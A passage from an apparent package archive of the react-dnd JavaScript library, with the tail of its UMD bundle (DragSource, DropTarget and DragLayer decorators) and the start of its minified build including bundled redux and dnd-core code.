_createClass$9(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$9(Constructor.prototype, protoProps); if (staticProps) _defineProperties$9(Constructor, staticProps); return Constructor; } var ALLOWED_SPEC_METHODS = ['canDrag', 'beginDrag', 'isDragging', 'endDrag']; var REQUIRED_SPEC_METHODS = ['beginDrag']; var SourceImpl = /*#__PURE__*/function () { function SourceImpl(spec, monitor, ref) { var _this = this; _classCallCheck$9(this, SourceImpl); this.props = null; this.beginDrag = function () { if (!_this.props) { return; } var item = _this.spec.beginDrag(_this.props, _this.monitor, _this.ref.current); { invariant(isPlainObject$1(item), 'beginDrag() must return a plain object that represents the dragged item. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', item); } return item; }; this.spec = spec; this.monitor = monitor; this.ref = ref; } _createClass$9(SourceImpl, [{ key: "receiveProps", value: function receiveProps(props) { this.props = props; } }, { key: "canDrag", value: function canDrag() { if (!this.props) { return false; } if (!this.spec.canDrag) { return true; } return this.spec.canDrag(this.props, this.monitor); } }, { key: "isDragging", value: function isDragging(globalMonitor, sourceId) { if (!this.props) { return false; } if (!this.spec.isDragging) { return sourceId === globalMonitor.getSourceId(); } return this.spec.isDragging(this.props, this.monitor); } }, { key: "endDrag", value: function endDrag() { if (!this.props) { return; } if (!this.spec.endDrag) { return; } this.spec.endDrag(this.props, this.monitor, getDecoratedComponent(this.ref)); } }]); return SourceImpl; }(); function createSourceFactory(spec) { Object.keys(spec).forEach(function (key) { invariant(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drag source specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', ALLOWED_SPEC_METHODS.join(', '), key); invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]); }); REQUIRED_SPEC_METHODS.forEach(function (key) { invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]); }); return function createSource(monitor, ref) { return new SourceImpl(spec, monitor, ref); }; } /** * Decorates a component as a dragsource * @param type The dragsource type * @param spec The drag source specification * @param collect The props collector function * @param options DnD options */ function DragSource(type, spec, collect) { var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; checkDecoratorArguments('DragSource', 'type, spec, collect[, options]', type, spec, collect, options); var getType = type; if (typeof type !== 'function') { invariant(isValidType(type), 'Expected "type" provided as the first argument to DragSource to be ' + 'a string, or a function that returns a string given the current props. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', type); getType = function getType() { return type; }; } invariant(isPlainObject$1(spec), 'Expected "spec" provided as the second argument to DragSource to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', spec); var createSource = createSourceFactory(spec); invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DragSource to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect); invariant(isPlainObject$1(options), 'Expected "options" provided as the fourth argument to DragSource to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect); return function decorateSource(DecoratedComponent) { return decorateHandler({ containerDisplayName: 'DragSource', createHandler: createSource, registerHandler: registerSource, createConnector: function createConnector(backend) { return new SourceConnector(backend); }, createMonitor: function createMonitor(manager) { return new DragSourceMonitorImpl(manager); }, DecoratedComponent: DecoratedComponent, getType: getType, collect: collect, options: options }); }; } function _classCallCheck$a(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$a(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$a(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$a(Constructor.prototype, protoProps); if (staticProps) _defineProperties$a(Constructor, staticProps); return Constructor; } var ALLOWED_SPEC_METHODS$1 = ['canDrop', 'hover', 'drop']; var TargetImpl = /*#__PURE__*/function () { function TargetImpl(spec, monitor, ref) { _classCallCheck$a(this, TargetImpl); this.props = null; this.spec = spec; this.monitor = monitor; this.ref = ref; } _createClass$a(TargetImpl, [{ key: "receiveProps", value: function receiveProps(props) { this.props = props; } }, { key: "receiveMonitor", value: function receiveMonitor(monitor) { this.monitor = monitor; } }, { key: "canDrop", value: function canDrop() { if (!this.spec.canDrop) { return true; } return this.spec.canDrop(this.props, this.monitor); } }, { key: "hover", value: function hover() { if (!this.spec.hover || !this.props) { return; } this.spec.hover(this.props, this.monitor, getDecoratedComponent(this.ref)); } }, { key: "drop", value: function drop() { if (!this.spec.drop) { return undefined; } var dropResult = this.spec.drop(this.props, this.monitor, this.ref.current); { invariant(typeof dropResult === 'undefined' || isPlainObject$1(dropResult), 'drop() must either return undefined, or an object that represents the drop result. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', dropResult); } return dropResult; } }]); return TargetImpl; }(); function createTargetFactory(spec) { Object.keys(spec).forEach(function (key) { invariant(ALLOWED_SPEC_METHODS$1.indexOf(key) > -1, 'Expected the drop target specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', ALLOWED_SPEC_METHODS$1.join(', '), key); invariant(typeof spec[key] === 'function', 'Expected %s in the drop target specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', key, key, spec[key]); }); return function createTarget(monitor, ref) { return new TargetImpl(spec, monitor, ref); }; } function DropTarget(type, spec, collect) { var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; checkDecoratorArguments('DropTarget', 'type, spec, collect[, options]', type, spec, collect, options); var getType = type; if (typeof type !== 'function') { invariant(isValidType(type, true), 'Expected "type" provided as the first argument to DropTarget to be ' + 'a string, an array of strings, or a function that returns either given ' + 'the current props. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', type); getType = function getType() { return type; }; } invariant(isPlainObject$1(spec), 'Expected "spec" provided as the second argument to DropTarget to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', spec); var createTarget = createTargetFactory(spec); invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DropTarget to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect); invariant(isPlainObject$1(options), 'Expected "options" provided as the fourth argument to DropTarget to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect); return function decorateTarget(DecoratedComponent) { return decorateHandler({ containerDisplayName: 'DropTarget', createHandler: createTarget, registerHandler: registerTarget, createMonitor: function createMonitor(manager) { return new DropTargetMonitorImpl(manager); }, createConnector: function createConnector(backend) { return new TargetConnector(backend); }, DecoratedComponent: DecoratedComponent, getType: getType, collect: collect, options: options }); }; } function _typeof$7(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$7 = function _typeof(obj) { return typeof obj; }; } else { _typeof$7 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$7(obj); } function _classCallCheck$b(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$b(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$b(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$b(Constructor.prototype, protoProps); if (staticProps) _defineProperties$b(Constructor, staticProps); return Constructor; } function _inherits$1(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf$1(subClass, superClass); } function _setPrototypeOf$1(o, p) { _setPrototypeOf$1 = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf$1(o, p); } function _createSuper$1(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct$1(); return function _createSuperInternal() { var Super = _getPrototypeOf$1(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf$1(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn$1(this, result); }; } function _possibleConstructorReturn$1(self, call) { if (call && (_typeof$7(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized$1(self); } function _assertThisInitialized$1(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct$1() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf$1(o) { _getPrototypeOf$1 = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf$1(o); } function DragLayer(collect) { var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; checkDecoratorArguments('DragLayer', 'collect[, options]', collect, options); invariant(typeof collect === 'function', 'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ', 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', collect); invariant(isPlainObject$1(options), 'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. ' + 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', options); return function decorateLayer(DecoratedComponent) { var Decorated = DecoratedComponent; var _options$arePropsEqua = options.arePropsEqual, arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua; var displayName = Decorated.displayName || Decorated.name || 'Component'; var DragLayerContainer = /** @class */ function () { var DragLayerContainer = /*#__PURE__*/function (_React$Component) { _inherits$1(DragLayerContainer, _React$Component); var _super = _createSuper$1(DragLayerContainer); function DragLayerContainer() { var _this; _classCallCheck$b(this, DragLayerContainer); _this = _super.apply(this, arguments); _this.isCurrentlyMounted = false; _this.ref = React.createRef(); _this.handleChange = function () { if (!_this.isCurrentlyMounted) { return; } var nextState = _this.getCurrentState(); if (!shallowEqual(nextState, _this.state)) { _this.setState(nextState); } }; return _this; } _createClass$b(DragLayerContainer, [{ key: "getDecoratedComponentInstance", value: function getDecoratedComponentInstance() { invariant(this.ref.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()'); return this.ref.current; } }, { key: "shouldComponentUpdate", value: function shouldComponentUpdate(nextProps, nextState) { return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state); } }, { key: "componentDidMount", value: function componentDidMount() { this.isCurrentlyMounted = true; this.handleChange(); } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.isCurrentlyMounted = false; if (this.unsubscribeFromOffsetChange) { this.unsubscribeFromOffsetChange(); this.unsubscribeFromOffsetChange = undefined; } if (this.unsubscribeFromStateChange) { this.unsubscribeFromStateChange(); this.unsubscribeFromStateChange = undefined; } } }, { key: "render", value: function render() { var _this2 = this; return React.createElement(DndContext.Consumer, null, function (_ref) { var dragDropManager = _ref.dragDropManager; if (dragDropManager === undefined) { return null; } _this2.receiveDragDropManager(dragDropManager); // Let componentDidMount fire to initialize the collected state if (!_this2.isCurrentlyMounted) { return null; } return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.state, { ref: isRefable(Decorated) ? _this2.ref : null })); }); } }, { key: "receiveDragDropManager", value: function receiveDragDropManager(dragDropManager) { if (this.manager !== undefined) { return; } this.manager = dragDropManager; invariant(_typeof$7(dragDropManager) === 'object', 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName); var monitor = this.manager.getMonitor(); this.unsubscribeFromOffsetChange = monitor.subscribeToOffsetChange(this.handleChange); this.unsubscribeFromStateChange = monitor.subscribeToStateChange(this.handleChange); } }, { key: "getCurrentState", value: function getCurrentState() { if (!this.manager) { return {}; } var monitor = this.manager.getMonitor(); return collect(monitor, this.props); } }]); return DragLayerContainer; }(React.Component); DragLayerContainer.displayName = "DragLayer(".concat(displayName, ")"); DragLayerContainer.DecoratedComponent = DecoratedComponent; return DragLayerContainer; }(); return hoistNonReactStatics_cjs(DragLayerContainer, DecoratedComponent); }; } exports.DndContext = DndContext; exports.DndProvider = DndProvider; exports.DragLayer = DragLayer; exports.DragPreviewImage = DragPreviewImage; exports.DragSource = DragSource; exports.DropTarget = DropTarget; exports.createDndContext = createDndContext; exports.useDrag = useDrag; exports.useDragDropManager = useDragDropManager; exports.useDragLayer = useDragLayer; exports.useDrop = useDrop; Object.defineProperty(exports, '__esModule', { value: true }); }))); umd/ReactDnD.min.js000064400000216406151677306070010122 0ustar00!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("react")):"function"==typeof define&&define.amd?define(["exports","react"],t):t((e=e||self).ReactDnD={},e.React)}(this,(function(e,t){"use strict";var r;!function(e){e.SOURCE="SOURCE",e.TARGET="TARGET"}(r||(r={}));var n=function(e){var t,r=e.Symbol;return"function"==typeof r?r.observable?t=r.observable:(t=r("observable"),r.observable=t):t="@@observable",t}("undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof module?module:Function("return this")()),o=function(){return Math.random().toString(36).substring(7).split("").join(".")},i={INIT:"@@redux/INIT"+o(),REPLACE:"@@redux/REPLACE"+o(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+o()}};function a(e){if("object"!=typeof e||null===e)return!1;for(var t=e;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}function u(e,t,r){var o;if("function"==typeof t&&"function"==typeof r||"function"==typeof r&&"function"==typeof arguments[3])throw new Error("It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function.");if("function"==typeof t&&void 0===r&&(r=t,t=void 0),void 0!==r){if("function"!=typeof r)throw new Error("Expected the enhancer to be a function.");return r(u)(e,t)}if("function"!=typeof e)throw new Error("Expected the reducer to be a function.");var c=e,s=t,f=[],l=f,d=!1;function p(){l===f&&(l=f.slice())}function h(){if(d)throw new Error("You may not call store.getState() while the reducer is executing. The reducer has already received the state as an argument. Pass it down from the top reducer instead of reading it from the store.");return s}function g(e){if("function"!=typeof e)throw new Error("Expected the listener to be a function.");if(d)throw new Error("You may not call store.subscribe() while the reducer is executing. If you would like to be notified after the store has been updated, subscribe from a component and invoke store.getState() in the callback to access the latest state. See https://redux.js.org/api-reference/store#subscribelistener for more details.");var t=!0;return p(),l.push(e),function(){if(t){if(d)throw new Error("You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribelistener for more details.");t=!1,p();var r=l.indexOf(e);l.splice(r,1),f=null}}}function y(e){if(!a(e))throw new Error("Actions must be plain objects. Use custom middleware for async actions.");if(void 0===e.type)throw new Error('Actions may not have an undefined "type" property. Have you misspelled a constant?');if(d)throw new Error("Reducers may not dispatch actions.");try{d=!0,s=c(s,e)}finally{d=!1}for(var t=f=l,r=0;r<t.length;r++){(0,t[r])()}return e}function v(e){if("function"!=typeof e)throw new Error("Expected the nextReducer to be a function.");c=e,y({type:i.REPLACE})}function b(){var e,t=g;return(e={subscribe:function(e){if("object"!=typeof e||null===e)throw new TypeError("Expected the observer to be an object.");function r(){e.next&&e.next(h())}return r(),{unsubscribe:t(r)}}})[n]=function(){return this},e}return y({type:i.INIT}),(o={dispatch:y,subscribe:g,getState:h,replaceReducer:v})[n]=b,o}function c(e,t){for(var r=arguments.length,n=new Array(r>2?r-2:0),o=2;o<r;o++)n[o-2]=arguments[o];if(!e){var i;if(void 0===t)i=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var a=0;(i=new Error(t.replace(/%s/g,(function(){return n[a++]})))).name="Invariant Violation"}throw i.framesToPop=1,i}}var s="dnd-core/INIT_COORDS",f="dnd-core/BEGIN_DRAG",l="dnd-core/PUBLISH_DRAG_SOURCE",d="dnd-core/HOVER",p="dnd-core/DROP",h="dnd-core/END_DRAG";function g(e,t){return{type:s,payload:{sourceClientOffset:t||null,clientOffset:e||null}}}function y(e){return(y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function v(e,t,r){return t.split(".").reduce((function(e,t){return e&&e[t]?e[t]:r||null}),e)}function b(e,t){return e.filter((function(e){return e!==t}))}function m(e){return"object"===y(e)}function O(e,t){var r=new Map,n=function(e){r.set(e,r.has(e)?r.get(e)+1:1)};e.forEach(n),t.forEach(n);var o=[];return r.forEach((function(e,t){1===e&&o.push(t)})),o}var S={type:s,payload:{clientOffset:null,sourceClientOffset:null}};function w(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{publishSource:!0},n=r.publishSource,o=void 0===n||n,i=r.clientOffset,a=r.getSourceClientOffset,u=e.getMonitor(),c=e.getRegistry();e.dispatch(g(i)),D(t,u,c);var s=k(t,u);if(null!==s){var l=null;if(i){if(!a)throw new Error("getSourceClientOffset must be defined");I(a),l=a(s)}e.dispatch(g(i,l));var d=c.getSource(s),p=d.beginDrag(u,s);C(p),c.pinSource(s);var h=c.getSourceType(s);return{type:f,payload:{itemType:h,item:p,sourceId:s,clientOffset:i||null,sourceClientOffset:l||null,isSourcePublic:!!o}}}e.dispatch(S)}}function D(e,t,r){c(!t.isDragging(),"Cannot call beginDrag while dragging."),e.forEach((function(e){c(r.getSource(e),"Expected sourceIds to be registered.")}))}function I(e){c("function"==typeof e,"When clientOffset is provided, getSourceClientOffset must be a function.")}function C(e){c(m(e),"Item must be an object.")}function k(e,t){for(var r=null,n=e.length-1;n>=0;n--)if(t.canDragSource(e[n])){r=e[n];break}return r}function T(e){return function(){if(e.getMonitor().isDragging())return{type:l}}}function P(e,t){return null===t?null===e:Array.isArray(e)?e.some((function(e){return e===t})):e===t}function j(e){return function(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=r.clientOffset;E(t);var o=t.slice(0),i=e.getMonitor(),a=e.getRegistry();R(o,i,a);var u=i.getItemType();return x(o,a,u),M(o,i,a),{type:d,payload:{targetIds:o,clientOffset:n||null}}}}function E(e){c(Array.isArray(e),"Expected targetIds to be an array.")}function R(e,t,r){c(t.isDragging(),"Cannot call hover while not dragging."),c(!t.didDrop(),"Cannot call hover after drop.");for(var n=0;n<e.length;n++){var o=e[n];c(e.lastIndexOf(o)===n,"Expected targetIds to be unique in the passed array."),c(r.getTarget(o),"Expected targetIds to be registered.")}}function x(e,t,r){for(var n=e.length-1;n>=0;n--){var o=e[n];P(t.getTargetType(o),r)||e.splice(n,1)}}function M(e,t,r){e.forEach((function(e){r.getTarget(e).hover(t,e)}))}function A(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function _(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?A(Object(r),!0).forEach((function(t){N(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):A(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function N(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function H(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.getMonitor(),n=e.getRegistry();U(r);var o=F(r);o.forEach((function(o,i){var a=$(o,i,n,r),u={type:p,payload:{dropResult:_(_({},t),a)}};e.dispatch(u)}))}}function U(e){c(e.isDragging(),"Cannot call drop while not dragging."),c(!e.didDrop(),"Cannot call drop twice during one drag operation.")}function $(e,t,r,n){var o=r.getTarget(e),i=o?o.drop(n,e):void 0;return function(e){c(void 0===e||m(e),"Drop result must either be an object or undefined.")}(i),void 0===i&&(i=0===t?{}:n.getDropResult()),i}function F(e){var t=e.getTargetIds().filter(e.canDropOnTarget,e);return t.reverse(),t}function L(e){return function(){var t=e.getMonitor(),r=e.getRegistry();!function(e){c(e.isDragging(),"Cannot call endDrag while not dragging.")}(t);var n=t.getSourceId();null!=n&&(r.getSource(n,!0).endDrag(t,n),r.unpinSource());return{type:h}}}var B=function(e,t){return e===t};function G(e,t){return!e&&!t||!(!e||!t)&&(e.x===t.x&&e.y===t.y)}function q(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:B;if(e.length!==t.length)return!1;for(var n=0;n<e.length;++n)if(!r(e[n],t[n]))return!1;return!0}function V(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function W(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?V(Object(r),!0).forEach((function(t){Y(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):V(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Y(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var z={initialSourceClientOffset:null,initialClientOffset:null,clientOffset:null};function K(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:z,t=arguments.length>1?arguments[1]:void 0,r=t.payload;switch(t.type){case s:case f:return{initialSourceClientOffset:r.sourceClientOffset,initialClientOffset:r.clientOffset,clientOffset:r.clientOffset};case d:return G(e.clientOffset,r.clientOffset)?e:W(W({},e),{},{clientOffset:r.clientOffset});case h:case p:return z;default:return e}}var X="dnd-core/ADD_SOURCE",J="dnd-core/ADD_TARGET",Q="dnd-core/REMOVE_SOURCE",Z="dnd-core/REMOVE_TARGET";function ee(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function te(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ee(Object(r),!0).forEach((function(t){re(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ee(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function re(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var ne={itemType:null,item:null,sourceId:null,targetIds:[],dropResult:null,didDrop:!1,isSourcePublic:null};function oe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ne,t=arguments.length>1?arguments[1]:void 0,r=t.payload;switch(t.type){case f:return te(te({},e),{},{itemType:r.itemType,item:r.item,sourceId:r.sourceId,isSourcePublic:r.isSourcePublic,dropResult:null,didDrop:!1});case l:return te(te({},e),{},{isSourcePublic:!0});case d:return te(te({},e),{},{targetIds:r.targetIds});case Z:return-1===e.targetIds.indexOf(r.targetId)?e:te(te({},e),{},{targetIds:b(e.targetIds,r.targetId)});case p:return te(te({},e),{},{dropResult:r.dropResult,didDrop:!0,targetIds:[]});case h:return te(te({},e),{},{itemType:null,item:null,sourceId:null,dropResult:null,didDrop:!1,isSourcePublic:null,targetIds:[]});default:return e}}function ie(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case X:case J:return e+1;case Q:case Z:return e-1;default:return e}}var ae=[],ue=[];function ce(e,t){return e!==ae&&(e===ue||void 0===t||(r=e,t.filter((function(e){return r.indexOf(e)>-1}))).length>0);var r}function se(){var e=arguments.length>1?arguments[1]:void 0;switch(e.type){case d:break;case X:case J:case Z:case Q:return ae;case f:case l:case h:case p:default:return ue}var t=e.payload,r=t.targetIds,n=void 0===r?[]:r,o=t.prevTargetIds,i=void 0===o?[]:o,a=O(n,i),u=a.length>0||!q(n,i);if(!u)return ae;var c=i[i.length-1],s=n[n.length-1];return c!==s&&(c&&a.push(c),s&&a.push(s)),a}function fe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return e+1}function le(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function de(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?le(Object(r),!0).forEach((function(t){pe(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):le(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function pe(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function he(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return{dirtyHandlerIds:se(e.dirtyHandlerIds,{type:t.type,payload:de(de({},t.payload),{},{prevTargetIds:v(e,"dragOperation.targetIds",[])})}),dragOffset:K(e.dragOffset,t),refCount:ie(e.refCount,t),dragOperation:oe(e.dragOperation,t),stateId:fe(e.stateId)}}function ge(e,t){return{x:e.x-t.x,y:e.y-t.y}}function ye(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}ae.__IS_NONE__=!0,ue.__IS_ALL__=!0;var ve=function(){function e(t,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.store=t,this.registry=r}var t,r,n;return t=e,(r=[{key:"subscribeToStateChange",value:function(e){var t=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{handlerIds:void 0},n=r.handlerIds;c("function"==typeof e,"listener must be a function."),c(void 0===n||Array.isArray(n),"handlerIds, when specified, must be an array of strings.");var o=this.store.getState().stateId,i=function(){var r=t.store.getState(),i=r.stateId;try{i===o||i===o+1&&!ce(r.dirtyHandlerIds,n)||e()}finally{o=i}};return this.store.subscribe(i)}},{key:"subscribeToOffsetChange",value:function(e){var t=this;c("function"==typeof e,"listener must be a function.");var r=this.store.getState().dragOffset;return this.store.subscribe((function(){var n=t.store.getState().dragOffset;n!==r&&(r=n,e())}))}},{key:"canDragSource",value:function(e){if(!e)return!1;var t=this.registry.getSource(e);return c(t,"Expected to find a valid source."),!this.isDragging()&&t.canDrag(this,e)}},{key:"canDropOnTarget",value:function(e){if(!e)return!1;var t=this.registry.getTarget(e);return c(t,"Expected to find a valid target."),!(!this.isDragging()||this.didDrop())&&P(this.registry.getTargetType(e),this.getItemType())&&t.canDrop(this,e)}},{key:"isDragging",value:function(){return Boolean(this.getItemType())}},{key:"isDraggingSource",value:function(e){if(!e)return!1;var t=this.registry.getSource(e,!0);return c(t,"Expected to find a valid source."),!(!this.isDragging()||!this.isSourcePublic())&&this.registry.getSourceType(e)===this.getItemType()&&t.isDragging(this,e)}},{key:"isOverTarget",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{shallow:!1};if(!e)return!1;var r=t.shallow;if(!this.isDragging())return!1;var n=this.registry.getTargetType(e),o=this.getItemType();if(o&&!P(n,o))return!1;var i=this.getTargetIds();if(!i.length)return!1;var a=i.indexOf(e);return r?a===i.length-1:a>-1}},{key:"getItemType",value:function(){return this.store.getState().dragOperation.itemType}},{key:"getItem",value:function(){return this.store.getState().dragOperation.item}},{key:"getSourceId",value:function(){return this.store.getState().dragOperation.sourceId}},{key:"getTargetIds",value:function(){return this.store.getState().dragOperation.targetIds}},{key:"getDropResult",value:function(){return this.store.getState().dragOperation.dropResult}},{key:"didDrop",value:function(){return this.store.getState().dragOperation.didDrop}},{key:"isSourcePublic",value:function(){return Boolean(this.store.getState().dragOperation.isSourcePublic)}},{key:"getInitialClientOffset",value:function(){return 